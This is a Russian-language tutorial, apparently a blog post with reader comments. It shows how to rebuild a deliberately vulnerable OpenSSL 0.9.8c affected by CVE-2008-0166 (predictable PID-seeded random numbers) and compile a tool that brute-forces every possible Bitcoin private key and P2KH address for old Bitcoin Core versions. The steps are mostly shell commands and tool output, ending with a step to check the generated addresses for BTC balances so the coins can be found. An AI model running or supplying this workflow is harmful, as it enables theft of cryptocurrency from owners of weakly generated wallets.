В этой статье мы создадим инструмент который будет генерировать Биткоин Адреса (P2KH), используя уязвимость CVE-2008-0166. Это исследовательский проект для поиска монет BTC на более ранних версиях программного клиента Bitcoin Core
Генератор случайных чисел, который генерирует предсказуемые числа CVE-2008-0166
VAIM- OpenSSL 0.9.8/1.0.0 Detected
Критической уязвимость версии OpenSSL 0.9.8
CVE-2008-0166 заполнялась только идентификатором процесса. Из-за различий между порядком байтов и sizeof(long) выходные данные зависят от архитектуры: 32-битный прямой порядок байтов (например, i386
), 64-битный прямой порядок байтов (например, amd64, ia64
), 32-битный прямой порядок байтов (например, powerpc, sparc). PID 0
— это ядро, а PID_MAX
(32768) не достигается при переносе, поэтому для каждой архитектуры было 32767 возможных потоков случайных чисел.
Программный клиент Bitcoin Core использует библиотеку OpenSSL
. В частности, он использует функцию «EC_KEY_generate_key()»
для генерации Биткоин Адресов (например, ключа) для получения платежей. Старые версии Bitcoin Core генерируют и хранят 100 ключей в wallet.dat
Новый ключ генерируется только при получении Биткоин платежа. Таким образом, программный клиент Bitcoin Core сохраняет пул из 100 неиспользуемых Биткоин Ключей (адресов). Состояние внутреннего генератора случайных чисел зависит от того, какие другие вызовы были сделаны в библиотеке OpenSSL
до вызова 'EC_KEY_generate_key()'
. Вызовы, влияющие на внутреннее состояние ГСЧ: «RAND_add(8)», «RAND_bytes(8)» и «RAND_bytes(32)».
Таким образом, исследование заключалось в том, чтобы просмотреть множество старых источников Биткоина, чтобы выяснить, какие вызовы были сделаны, которые повлияли на внутреннее состояние ГСЧ перед вызовом «EC_KEY_generate_key()».
Путь вызова меняется между версиями программного клиента Bitcoin Core
Исследование было сосредоточено на следующих версиях:
Наше цель сгенерировать приватные ключи для каждой версии программного клиента Bitcoin Core, для каждой архитектуры (le32/le64)
, для каждого идентификатора процесса и для Биткоин Адресов (P2KH)
, используя случайное число из критической уязвимости OpenSSL 0.9.8.
В конечном итоге мы создадим Генератор Биткоин Адресов (P2KH)
и все будет сохранятся в файл result.txt
Сделаем OpenSSL снова уязвимым
Воспользуемся для этого дистрибутивом "Ubuntu 18.04.5 LTS" от Google Colab
Ранее мы записывали видеоинструкцию: «TERMINAL в Google Colab создаем все удобства для работ в GITHUB»
Откроем в терминале Google Colab [TerminalGoogleColab]
Запустим команду:
cat /etc/lsb-release
Давайте перейдем в репозиторию «CryptoDeepTools» и разберем всё в детали
git clone https://github.com/demining/CryptoDeepTools.git
cd CryptoDeepTools/05VulnerableOpenSSL/
ls -lh
Обновим и установим g++ libgmp3-dev libmpfr-dev
apt-get update
sudo apt-get install g++ -y
sudo apt-get install libgmp3-dev libmpfr-dev -y
Для того чтобы OpenSSL
снова сделать уязвимым как в CVE-2008-0166
Скачаем openssl-0.9.8c.tar.gz и пропатчим системные файлы
wget https://ftp.openssl.org/source/old/0.9.x/openssl-0.9.8c.tar.gz
tar xfz openssl-0.9.8c.tar.gz
mv openssl-0.9.8c openssl-0.9.8c-vuln
cd openssl-0.9.8c-vuln
ls -lh
patch -p1 <../make-OpenSSL-0-9-8c-vulnerable-again.diff
В системе LE-64 используем:
./Configure linux-x86_64 shared no-ssl2 no-ssl3 no-comp no-asm
make depend all
Перейдем обратно в каталог content/
cd /
ls
cd content/CryptoDeepTools/05VulnerableOpenSSL/
ls -lh
Компиляция:
gcc -o cryptodeepbtcgen cryptodeepbtc.c -I./openssl-0.9.8c-vuln/include -L./openssl-0.9.8c-vuln -lssl -lcrypto
ls -lh
LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -h
Все поддерживаемые версии программного клиента Bitcoin Core:
LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -l
crypto > LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -l
#0 - 0.3.24
#1 - 0.8.6-d
#2 - 0.8.6-qt
#3 - 0.9.1-d
#4 - 0.9.4-d
#5 - unknownA
#6 - unknownB
#7 - unknownC
#8 - unknownD
#9 - unknownE
#10 - unknownF
#11 - unknownG
#12 - unknownH
#13 - unknownI
#14 - unknownJ
#15 - unknownK
#16 - unknownA0
#17 - unknownA1
#18 - unknownA2
#19 - unknownA3
#20 - unknownA4
#21 - unknownB0
#22 - unknownB1
#23 - unknownB2
#24 - unknownB3
#25 - unknownC0
#26 - unknownC1
#27 - unknownC2
#28 - unknownD0
#29 - unknownD1
#30 - unknownD2
#31 - unknownD3
#32 - unknownD4
#33 - unknownD5
#34 - unknownE0
#35 - unknownA0x
#36 - unknownA1x
#37 - unknownA2x
#38 - unknownA3x
#39 - unknownA4x
#40 - unknownB0x
#41 - unknownB1x
#42 - unknownB2x
#43 - unknownB3x
#44 - unknownC0x
#45 - unknownC1x
#46 - unknownC2x
#47 - unknownD0x
#48 - unknownD1x
#49 - unknownD2x
#50 - unknownD3x
#51 - unknownD4x
#52 - unknownD5x
#53 - unknownE0x
crypto >
Запуск cryptodeepbtcgen -n 32 -v 0:
LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -n 32 -v 0 >> result.txt
Все сохранится в хранилище файлов Google Drive
как текстовый файл result.txt
Проверяем закрытый ключ!
Далее остается проверить все сгенерированные Биткоин Адреса на наличие монет BTC, для этого мы можем воспользоваться Python-скриптом: bitcoin-checker.py
Telegram: https://t.me/cryptodeeptech
Видеоматериал: https://youtu.be/zHkXups2I8k
Источник: https://cryptodeep.ru/vulnerable-openssl
Комментарии (5)
sekuzmin
19.07.2022 17:53+2Автор «забыл» упомянуть, что это по большей части перевод и указать ссылку на оригинал. The Hacker's Choice - https://github.com/hackerschoice/thc-btc-rng-bruteforce
eimrine